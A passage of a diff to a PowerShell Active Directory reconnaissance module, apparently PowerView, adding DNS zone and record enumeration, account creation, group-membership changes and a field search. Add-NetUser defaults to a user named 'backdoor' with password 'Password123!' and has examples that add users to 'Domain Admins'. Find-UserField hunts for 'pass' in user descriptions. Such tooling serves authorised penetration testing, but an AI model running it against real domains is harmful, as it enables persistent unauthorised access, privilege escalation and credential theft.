+ $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $Alias
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
+ }
+
+ elseif($RDataType -eq 6) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
+ }
+
+ elseif($RDataType -eq 12) {
+ $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $Ptr
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
+ }
+
+ elseif($RDataType -eq 13) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
+ }
+
+ elseif($RDataType -eq 15) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
+ }
+
+ elseif($RDataType -eq 16) {
+
+ [string]$TXT = ""
+ [int]$SegmentLength = $DNSRecord[24]
+ $Index = 25
+ while ($SegmentLength-- -gt 0) {
+ $TXT += [char]$DNSRecord[$index++]
+ }
+
+ $Data = $TXT
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
+ }
+
+ elseif($RDataType -eq 28) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
+ }
+
+ elseif($RDataType -eq 33) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
+ }
+
+ else {
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
+ }
+
+ $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
+ $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
+ $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
+ $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
+ $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
+ $DNSRecordObject
+}
+
+
+filter Get-DNSZone {
+<#
+ .SYNOPSIS
+
+ Enumerates the Active Directory DNS zones for a given domain.
+
+ .PARAMETER Domain
+
+ The domain to query for zones, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .PARAMETER FullData
+
+ Switch. Return full computer objects instead of just system names (the default).
+
+ .EXAMPLE
+
+ PS C:\> Get-DNSZone
+
+ Retrieves the DNS zones for the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local
+
+ Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries
+ through the primary.testlab.local domain controller.
+#>
+
+ param(
+ [Parameter(Position=0, ValueFromPipeline=$True)]
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential,
+
+ [Switch]
+ $FullData
+ )
+
+ $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
+ $DNSSearcher.filter="(objectClass=dnsZone)"
+
+ if($DNSSearcher) {
+ $Results = $DNSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # convert/process the LDAP fields for each result
+ $Properties = Convert-LDAPProperty -Properties $_.Properties
+ $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
+
+ if ($FullData) {
+ $Properties
+ }
+ else {
+ $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
+ }
+ }
+ $Results.dispose()
+ $DNSSearcher.dispose()
+ }
+
+ $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
+ $DNSSearcher.filter="(objectClass=dnsZone)"
+
+ if($DNSSearcher) {
+ $Results = $DNSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # convert/process the LDAP fields for each result
+ $Properties = Convert-LDAPProperty -Properties $_.Properties
+ $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
+
+ if ($FullData) {
+ $Properties
+ }
+ else {
+ $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
+ }
+ }
+ $Results.dispose()
+ $DNSSearcher.dispose()
+ }
+}
+
+
+filter Get-DNSRecord {
+<#
+ .SYNOPSIS
+
+ Enumerates the Active Directory DNS records for a given zone.
+
+ .PARAMETER ZoneName
+
+ The zone to query for records (which can be enumearted with Get-DNSZone). Required.
+
+ .PARAMETER Domain
+
+ The domain to query for zones, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DNSRecord -ZoneName testlab.local
+
+ Retrieve all records for the testlab.local zone.
+
+ .EXAMPLE
+
+ PS C:\> Get-DNSZone | Get-DNSRecord
+
+ Retrieve all records for all zones in the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local
+
+ Retrieve all records for all zones in the dev.testlab.local domain.
+#>
+
+ param(
+ [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
+ [String]
+ $ZoneName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
+ $DNSSearcher.filter="(objectClass=dnsNode)"
+
+ if($DNSSearcher) {
+ $Results = $DNSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ try {
+ # convert/process the LDAP fields for each result
+ $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
+ $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
+
+ # convert the record and extract the properties
+ if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
+ # TODO: handle multiple nested records properly?
+ $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
+ }
+ else {
+ $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
+ }
+
+ if($Record) {
+ $Record.psobject.properties | ForEach-Object {
+ $Properties | Add-Member NoteProperty $_.Name $_.Value
+ }
+ }
+
+ $Properties
+ }
+ catch {
+ Write-Warning "ERROR: $_"
+ $Properties
+ }
+ }
+ $Results.dispose()
+ $DNSSearcher.dispose()
+ }
+}
+
+
+filter Get-NetDomain {
+<#
+ .SYNOPSIS
+
+ Returns a given domain object.
+
+ .PARAMETER Domain
+
+ The domain name to query for, defaults to the current domain.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomain -Domain testlab.local
+
+ .EXAMPLE
+
+ PS C:\> "testlab.local" | Get-NetDomain
+
+ .LINK
+
+ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
+#>
+
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $Domain,
+
+ [Management.Automation.PSCredential]
$Credential
)
@@ -1729,346 +2593,296 @@ function Get-NetUser {
}
-function Get-ObjectAcl {
+function Add-NetUser {
<#
.SYNOPSIS
- Returns the ACLs associated with a specific active directory object.
-
- Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
-
- .PARAMETER SamAccountName
- Object name to filter for.
-
- .PARAMETER Name
-
- Object name to filter for.
-
- .PARAMETER DistinguishedName
-
- Object distinguished name to filter for.
-
- .PARAMETER ResolveGUIDs
+ Adds a domain user or a local user to the current (or remote) machine,
+ if permissions allow, utilizing the WinNT service provider and
+ DirectoryServices.AccountManagement, respectively.
+
+ The default behavior is to add a user to the local machine.
+ An optional group name to add the user to can be specified.
- Switch. Resolve GUIDs to their display names.
+ .PARAMETER UserName
- .PARAMETER Filter
+ The username to add. If not given, it defaults to 'backdoor'
- A customized ldap filter string to use, e.g. "(description=*admin*)"
-
- .PARAMETER ADSpath
+ .PARAMETER Password
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ The password to set for the added user. If not given, it defaults to 'Password123!'
- .PARAMETER ADSprefix
+ .PARAMETER GroupName
- Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+ Group to optionally add the user to.
- .PARAMETER RightsFilter
+ .PARAMETER ComputerName
- Only return results with the associated rights, "All", "ResetPassword","WriteMembers"
+ Hostname to add the local user to, defaults to 'localhost'
.PARAMETER Domain
- The domain to use for the query, defaults to the current domain.
-
- .PARAMETER DomainController
-
- Domain controller to reflect LDAP queries through.
+ Specified domain to add the user to.
- .PARAMETER PageSize
+ .EXAMPLE
- The PageSize to set for the LDAP searcher object.
+ PS C:\> Add-NetUser -UserName john -Password 'Password123!'
+
+ Adds a localuser 'john' to the local machine with password of 'Password123!'
.EXAMPLE
- PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
+ PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
- Get the ACLs for the matt.admin user in the testlab.local domain
+ Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.
.EXAMPLE
- PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
+ PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
- Get the ACLs for the matt.admin user in the testlab.local domain and
- resolve relevant GUIDs to their display names.
+ Adds the user "john" with password "password" to the current domain and adds
+ the user to the domain group "Domain Admins"
.EXAMPLE
- PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs
+ PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
+
+ Adds the user "john" with password "password" to the 'testing' domain and adds
+ the user to the domain group "Domain Admins"
- Enumerate the ACL permissions for all OUs in the domain.
+ .Link
+
+ http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx
#>
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $SamAccountName,
+ $UserName = 'backdoor',
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $Name = "*",
+ $Password = 'Password123!',
- [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $DistinguishedName = "*",
-
- [Switch]
- $ResolveGUIDs,
+ $GroupName,
+ [ValidateNotNullOrEmpty()]
+ [Alias('HostName')]
[String]
- $Filter,
+ $ComputerName = 'localhost',
+ [ValidateNotNullOrEmpty()]
[String]
- $ADSpath,
+ $Domain
+ )
- [String]
- $ADSprefix,
+ if ($Domain) {
- [String]
- [ValidateSet("All","ResetPassword","WriteMembers")]
- $RightsFilter,
+ $DomainObject = Get-NetDomain -Domain $Domain
+ if(-not $DomainObject) {
+ Write-Warning "Error in grabbing $Domain object"
+ return $Null
+ }
- [String]
- $Domain,
+ # add the assembly we need
+ Add-Type -AssemblyName System.DirectoryServices.AccountManagement
- [String]
- $DomainController,
+ # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
+ # get the domain context
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
+ # create the user object
+ $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
- begin {
- $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
+ # set user properties
+ $User.Name = $UserName
+ $User.SamAccountName = $UserName
+ $User.PasswordNotRequired = $False
+ $User.SetPassword($Password)
+ $User.Enabled = $True
- # get a GUID -> name mapping
- if($ResolveGUIDs) {
- $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
+ Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
+
+ try {
+ # commit the user
+ $User.Save()
+ "[*] User $UserName successfully created in domain $Domain"
+ }
+ catch {
+ Write-Warning '[!] User already exists!'
+ return
}
}
+ else {
+
+ Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
- process {
-
- if ($Searcher) {
-
- if($SamAccountName) {
- $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
- }
- else {
- $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
- }
-
- try {
- $Results = $Searcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Object = [adsi]($_.path)
+ # if it's not a domain add, it's a local machine add
+ $ObjOu = [ADSI]"WinNT://$ComputerName"
+ $ObjUser = $ObjOu.Create('User', $UserName)
+ $ObjUser.SetPassword($Password)
- if($Object.distinguishedname) {
- $Access = $Object.PsBase.ObjectSecurity.access
- $Access | ForEach-Object {
- $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
+ # commit the changes to the local machine
+ try {
+ $Null = $ObjUser.SetInfo()
+ "[*] User $UserName successfully created on host $ComputerName"
+ }
+ catch {
+ Write-Warning '[!] Account already exists!'
+ return
+ }
+ }
- if($Object.objectsid[0]){
- $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
- }
- else {
- $S = $Null
- }
-
- $_ | Add-Member NoteProperty 'ObjectSID' $S
- $_
- }
- }
- } | ForEach-Object {
- if($RightsFilter) {
- $GuidFilter = Switch ($RightsFilter) {
- "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
- "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
- Default { "00000000-0000-0000-0000-000000000000"}
- }
- if($_.ObjectType -eq $GuidFilter) { $_ }
- }
- else {
- $_
- }
- } | ForEach-Object {
- if($GUIDs) {
- # if we're resolving GUIDs, map them them to the resolved hash table
- $AclProperties = @{}
- $_.psobject.properties | ForEach-Object {
- if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
- try {
- $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
- }
- catch {
- $AclProperties[$_.Name] = $_.Value
- }
- }
- else {
- $AclProperties[$_.Name] = $_.Value
- }
- }
- New-Object -TypeName PSObject -Property $AclProperties
- }
- else { $_ }
- }
- $Results.dispose()
- $Searcher.dispose()
- }
- catch {
- Write-Warning $_
- }
+ # if a group is specified, invoke Add-NetGroupUser and return its value
+ if ($GroupName) {
+ # if we're adding the user to a domain
+ if ($Domain) {
+ Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
+ "[*] User $UserName successfully added to group $GroupName in domain $Domain"
+ }
+ # otherwise, we're adding to a local group
+ else {
+ Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
+ "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
}
}
}
-filter Get-GUIDMap {
+function Add-NetGroupUser {
<#
.SYNOPSIS
- Helper to build a hash table of [GUID] -> resolved names
+ Adds a user to a domain group or a local group on the current (or remote) machine,
+ if permissions allow, utilizing the WinNT service provider and
+ DirectoryServices.AccountManagement, respectively.
- Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+ .PARAMETER UserName
+
+ The domain username to query for.
+
+ .PARAMETER GroupName
+
+ Group to add the user to.
+
+ .PARAMETER ComputerName
+
+ Hostname to add the user to, defaults to localhost.
.PARAMETER Domain
-
- The domain to use for the query, defaults to the current domain.
- .PARAMETER DomainController
-
- Domain controller to reflect LDAP queries through.
+ Domain to add the user to.
- .PARAMETER PageSize
+ .EXAMPLE
- The PageSize to set for the LDAP searcher object.
+ PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators
+
+ Adds a localuser "john" to the local group "Administrators"
- .LINK
+ .EXAMPLE
- http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+ PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
+
+ Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"
#>
[CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
+ param(
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $Domain,
+ $UserName,
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $DomainController,
+ $GroupName,
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
+ [ValidateNotNullOrEmpty()]
+ [Alias('HostName')]
+ [String]
+ $ComputerName,
- $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
+ [String]
+ $Domain
+ )
- $SchemaPath = (Get-NetForest).schema.name
+ # add the assembly if we need it
+ Add-Type -AssemblyName System.DirectoryServices.AccountManagement
- $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
- if($SchemaSearcher) {
- $SchemaSearcher.filter = "(schemaIDGUID=*)"
+ # if we're adding to a remote host's local group, use the WinNT provider
+ if($ComputerName -and ($ComputerName -ne "localhost")) {
try {
- $Results = $SchemaSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert the GUID
- $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
- }
- $Results.dispose()
- $SchemaSearcher.dispose()
+ Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
+ ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
+ "[*] User $UserName successfully added to group $GroupName on $ComputerName"
}
catch {
- Write-Debug "Error in building GUID map: $_"
+ Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
+ return
}
}
- $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
- if ($RightsSearcher) {
- $RightsSearcher.filter = "(objectClass=controlAccessRight)"
+ # otherwise it's a local machine or domain add
+ else {
try {
- $Results = $RightsSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert the GUID
- $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
+ if ($Domain) {
+ Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
+ $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
+ $DomainObject = Get-NetDomain -Domain $Domain
+ if(-not $DomainObject) {
+ return $Null
+ }
+ # get the full principal context
+ $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
}
- $Results.dispose()
- $RightsSearcher.dispose()
+ else {
+ # otherwise, get the local machine context
+ Write-Verbose "Adding user $UserName to $GroupName on localhost"
+ $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
+ }
+
+ # find the particular group
+ $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
+
+ # add the particular user to the group
+ $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
+
+ # commit the changes
+ $Group.Save()
}
catch {
- Write-Debug "Error in building GUID map: $_"
+ Write-Warning "Error adding $UserName to $GroupName : $_"
}
}
-
- $GUIDs
}
-function Get-NetComputer {
+function Get-UserProperty {
<#
.SYNOPSIS
- This function utilizes adsisearcher to query the current AD context
- for current computer objects. Based off of Carlos Perez's Audit.psm1
- script in Posh-SecMod (link below).
-
- .PARAMETER ComputerName
-
- Return computers with a specific name, wildcards accepted.
-
- .PARAMETER SPN
-
- Return computers with a specific service principal name, wildcards accepted.
-
- .PARAMETER OperatingSystem
-
- Return computers with a specific operating system, wildcards accepted.
-
- .PARAMETER ServicePack
-
- Return computers with a specific service pack, wildcards accepted.
-
- .PARAMETER Filter
-
- A customized ldap filter string to use, e.g. "(description=*admin*)"
-
- .PARAMETER Printers
-
- Switch. Return only printers.
-
- .PARAMETER Ping
+ Returns a list of all user object properties. If a property
+ name is specified, it returns all [user:property] values.
- Switch. Ping each host to ensure it's up before enumerating.
+ Taken directly from @obscuresec's post:
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
- .PARAMETER FullData
+ .PARAMETER Properties
- Switch. Return full computer objects instead of just system names (the default).
+ Property names to extract for users.
.PARAMETER Domain
- The domain to query for computers, defaults to the current domain.
+ The domain to query for user properties, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER ADSpath
-
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
-
- .PARAMETER SiteName
-
- The AD Site name to search for computers.
-
- .PARAMETER Unconstrained
-
- Switch. Return computer objects that have unconstrained delegation.
-
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
@@ -2080,76 +2894,33 @@ function Get-NetComputer {
.EXAMPLE
- PS C:\> Get-NetComputer
+ PS C:\> Get-UserProperty -Domain testing
- Returns the current computers in current domain.
+ Returns all user properties for users in the 'testing' domain.
.EXAMPLE
- PS C:\> Get-NetComputer -SPN mssql*
+ PS C:\> Get-UserProperty -Properties ssn,lastlogon,location
- Returns all MS SQL servers on the domain.
-
- .EXAMPLE
+ Returns all an array of user/ssn/lastlogin/location combinations
+ for users in the current domain.
- PS C:\> Get-NetComputer -Domain testing
-
- Returns the current computers in 'testing' domain.
+ .LINK
- .EXAMPLE
-
- PS C:\> Get-NetComputer -Domain testing -FullData
-
- Returns full computer objects in the 'testing' domain.
-
- .LINK
-
- https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
-#>
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+#>
[CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String]
- $ComputerName = '*',
-
- [String]
- $SPN,
-
- [String]
- $OperatingSystem,
-
- [String]
- $ServicePack,
-
- [String]
- $Filter,
-
- [Switch]
- $Printers,
-
- [Switch]
- $Ping,
-
- [Switch]
- $FullData,
+ param(
+ [String[]]
+ $Properties,
[String]
$Domain,
-
+
[String]
$DomainController,
- [String]
- $ADSpath,
-
- [String]
- $SiteName,
-
- [Switch]
- $Unconstrained,
-
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
@@ -2158,117 +2929,48 @@ function Get-NetComputer {
$Credential
)
- begin {
- # so this isn't repeated if multiple computer names are passed on the pipeline
- $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
+ if($Properties) {
+ # extract out the set of all properties for each object
+ $Properties = ,"name" + $Properties
+ Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
}
-
- process {
-
- if ($CompSearcher) {
-
- # if we're checking for unconstrained delegation
- if($Unconstrained) {
- Write-Verbose "Searching for computers with for unconstrained delegation"
- $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
- }
- # set the filters for the seracher if it exists
- if($Printers) {
- Write-Verbose "Searching for printers"
- # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
- $Filter += "(objectCategory=printQueue)"
- }
- if($SPN) {
- Write-Verbose "Searching for computers with SPN: $SPN"
- $Filter += "(servicePrincipalName=$SPN)"
- }
- if($OperatingSystem) {
- $Filter += "(operatingsystem=$OperatingSystem)"
- }
- if($ServicePack) {
- $Filter += "(operatingsystemservicepack=$ServicePack)"
- }
- if($SiteName) {
- $Filter += "(serverreferencebl=$SiteName)"
- }
-
- $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
- Write-Verbose "Get-NetComputer filter : '$CompFilter'"
- $CompSearcher.filter = $CompFilter
-
- try {
- $Results = $CompSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Up = $True
- if($Ping) {
- # TODO: how can these results be piped to ping for a speedup?
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
- }
- if($Up) {
- # return full data objects
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $Computer = Convert-LDAPProperty -Properties $_.Properties
- $Computer.PSObject.TypeNames.Add('PowerView.Computer')
- $Computer
- }
- else {
- # otherwise we're just returning the DNS host name
- $_.properties.dnshostname
- }
- }
- }
- $Results.dispose()
- $CompSearcher.dispose()
- }
- catch {
- Write-Warning "Error: $_"
- }
- }
+ else {
+ # extract out just the property names
+ Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
}
}
-function Get-ADObject {
+filter Find-UserField {
<#
.SYNOPSIS
- Takes a domain SID and returns the user, group, or computer object
- associated with it.
-
- .PARAMETER SID
-
- The SID of the domain object you're querying for.
-
- .PARAMETER Name
-
- The Name of the domain object you're querying for.
-
- .PARAMETER SamAccountName
+ Searches user object fields for a given word (default *pass*). Default
+ field being searched is 'description'.
- The SamAccountName of the domain object you're querying for.
+ Taken directly from @obscuresec's post:
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
- .PARAMETER Domain
+ .PARAMETER SearchTerm
- The domain to query for objects, defaults to the current domain.
+ Term to search for, default of "pass".
- .PARAMETER DomainController
+ .PARAMETER SearchField
- Domain controller to reflect LDAP queries through.
+ User field to search, default of "description".
.PARAMETER ADSpath
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
- .PARAMETER Filter
+ .PARAMETER Domain
- Additional LDAP filter string for the query.
+ Domain to search computer fields for, defaults to the current domain.
- .PARAMETER ReturnRaw
+ .PARAMETER DomainController
- Switch. Return the raw object instead of translating its properties.
- Used by Set-ADObject to modify object properties.
+ Domain controller to reflect LDAP queries through.
.PARAMETER PageSize
@@ -2281,28 +2983,22 @@ function Get-ADObject {
.EXAMPLE
- PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
-
- Get the domain object associated with the specified SID.
-
- .EXAMPLE
+ PS C:\> Find-UserField -SearchField info -SearchTerm backup
- PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
-
- Get the AdminSDHolder object for the testlab.local domain.
+ Find user accounts with "backup" in the "info" field.
#>
[CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
[String]
- $SID,
+ $SearchTerm = 'pass',
[String]
- $Name,
+ $SearchField = 'description',
[String]
- $SamAccountName,
+ $ADSpath,
[String]
$Domain,
@@ -2310,15 +3006,6 @@ function Get-ADObject {
[String]
$DomainController,
- [String]
- $ADSpath,
-
- [String]
- $Filter,
-
- [Switch]
- $ReturnRaw,
-
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
@@ -2326,700 +3013,848 @@ function Get-ADObject {
[Management.Automation.PSCredential]
$Credential
)
- process {
- if($SID) {
- # if a SID is passed, try to resolve it to a reachable domain name for the searcher
- try {
- $Name = Convert-SidToName $SID
- if($Name) {
- $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
- if($Canonical) {
- $Domain = $Canonical.split("/")[0]
- }
- else {
- Write-Warning "Error resolving SID '$SID'"
- return $Null
- }
- }
- }
- catch {
- Write-Warning "Error resolving SID '$SID' : $_"
- return $Null
- }
- }
-
- $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
-
- if($ObjectSearcher) {
- if($SID) {
- $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
- }
- elseif($Name) {
- $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
- }
- elseif($SamAccountName) {
- $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
- }
-
- $Results = $ObjectSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
